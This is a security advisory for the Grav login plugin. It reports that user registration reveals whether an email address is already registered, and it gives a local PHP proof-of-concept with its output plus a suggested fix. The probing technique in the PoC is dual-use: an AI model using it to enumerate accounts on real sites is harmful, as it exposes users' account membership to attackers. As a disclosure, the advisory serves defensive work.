GHSA-CRH8-XM27-J9G9
User registration discloses whether an email address is already registered (email enumeration)
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-CRH8-XM27-J9G9 divulgada | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
The user registration flow in classes/Login.php's register() method throws a distinct,
identifiable exception when the submitted email address already belongs to an
existing account, and allows registration to proceed silently otherwise. This lets an
attacker enumerate which email addresses have accounts on the site, one guess per
request, with no rate limiting on the registration endpoint.
The core evidence
classes/Login.php, register():
// Check whether email already exists.
$email = $data['email'];
if (!$email || $accounts->find($email, ['email'])->exists()) {
$language = $this->grav['language'];
throw new \RuntimeException($language->translate(['PLUGIN_LOGIN.EMAIL_NOT_AVAILABLE', $email]));
}
The same discrepancy is duplicated in login.php at lines 1058-1073 and 1248-1266.
Live, end-to-end Proof of Concept
Built a real Grav bootstrap, registered the real accounts service the same way core
does for the regular (non-Flex) account type, created and saved one real, genuinely
existing user account, then called the actual, unmodified Login::register() method
with two different submitted emails.
poc.php:
<?php
define('GRAV_CLI', true);
chdir('/path/to/grav');
require 'vendor/autoload.php';
require '/path/to/grav-plugin-login/vendor/autoload.php';
spl_autoload_register(function ($class) {
$prefix = 'Grav\\Plugin\\Login\\';
if (str_starts_with($class, $prefix)) {
$rel = substr($class, strlen($prefix));
$path = '/path/to/grav-plugin-login/classes/' . str_replace('\\', '/', $rel) . '.php';
if (file_exists($path)) require $path;
}
});
use Grav\Common\Grav;
use Grav\Common\User\DataUser\User;
use Grav\Common\User\DataUser\UserCollection;
use Grav\Plugin\Login\Login;
Grav::resetInstance();
$grav = Grav::instance();
$grav['config']->init();
$grav['config']->set('system.languages.supported', ['en']);
$grav['config']->set('system.languages.default_lang', 'en');
foreach (array_keys($grav['setup']->getStreams()) as $stream) {
@stream_wrapper_unregister($stream);
}
$grav['streams'];
$grav['uri']->init();
$grav['config']->set('system.cache.enabled', false);
$grav['accounts'] = new UserCollection(User::class);
$grav['locator']->addPath('user-data', '', '/path/to/test/userdata', false);
$grav['locator']->addPath('account', '', '/path/to/test/accounts', false);
$accounts = $grav['accounts'];
$existingUser = $accounts->load('victimuser');
$existingUser->update([
'username' => 'victimuser',
'email' => 'victim@example.com',
'password' => 'SomeExistingPassword123!',
'state' => 'enabled',
]);
$existingUser->save();
$grav['language']->init();
$login = new Login($grav);
function tryRegister(Login $login, array $data, string $label): void {
echo "$label: ";
try {
$login->register($data);
echo "registration succeeded, no exception\n";
} catch (\Throwable $e) {
echo "exception: " . $e->getMessage() . "\n";
}
}
tryRegister($login, [
'username' => 'attackerprobe1', 'email' => 'victim@example.com',
'password' => 'NewPassword123!', 'password1' => 'NewPassword123!', 'password2' => 'NewPassword123!',
], 'submitting EXISTING victim email');
tryRegister($login, [
'username' => 'attackerprobe2', 'email' => 'definitely-not-registered@example.com',
'password' => 'NewPassword123!', 'password1' => 'NewPassword123!', 'password2' => 'NewPassword123!',
], 'submitting FRESH, never-registered email');
Run: php poc.php
Real output:
submitting EXISTING victim email: exception: PLUGIN_LOGIN.EMAIL_NOT_AVAILABLE
submitting FRESH, never-registered email: registration succeeded, no exception
The discrepancy is confirmed against the real, unmodified register() method, a real
UserCollection, and a genuinely created and saved user account, not a mock or a
reproduction.
Impact
An attacker can determine whether a specific email address has an account on the site
by submitting registration attempts and observing whether EMAIL_NOT_AVAILABLE is
returned, with no rate limiting on this endpoint distinct from the login and
password-reset-request endpoints, which do have rate limiting.
Scoping note
This is a well-known, common vulnerability class (CWE-203/CWE-204), not a novel attack
technique, this exact pattern appears in a large fraction of registration forms across
the web. I am reporting it because it is real, concrete, and unaddressed in this
specific plugin. getgrav/grav core has an already-fixed advisory for user
enumeration/email disclosure in a different repository and a different code path.
This may be the same underlying concern resurfacing in a plugin the core fix did not
touch, or it may be considered an accepted usability tradeoff by the maintainers. I am
flagging that nuance rather than assuming either way.
Suggested fix
Return the same generic message regardless of whether the submitted email is already
registered, for example "if this email isn't already registered, you'll receive a
confirmation email shortly", matching the pattern a well-designed password-reset flow
uses to avoid confirming account existence. Consider adding rate limiting to the
registration endpoint itself, matching the pattern already used for login and
password-reset-request.
Affected component
- classes/Login.php, register()
- login.php, duplicated checks at lines 1058-1073 and 1248-1266
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
Packagistgetgrav/grav-plugin-login |
Sin parche | — | — | — |
Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/getgrav/grav/security/advisories/GHSA-crh8-xm27-j9g9Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
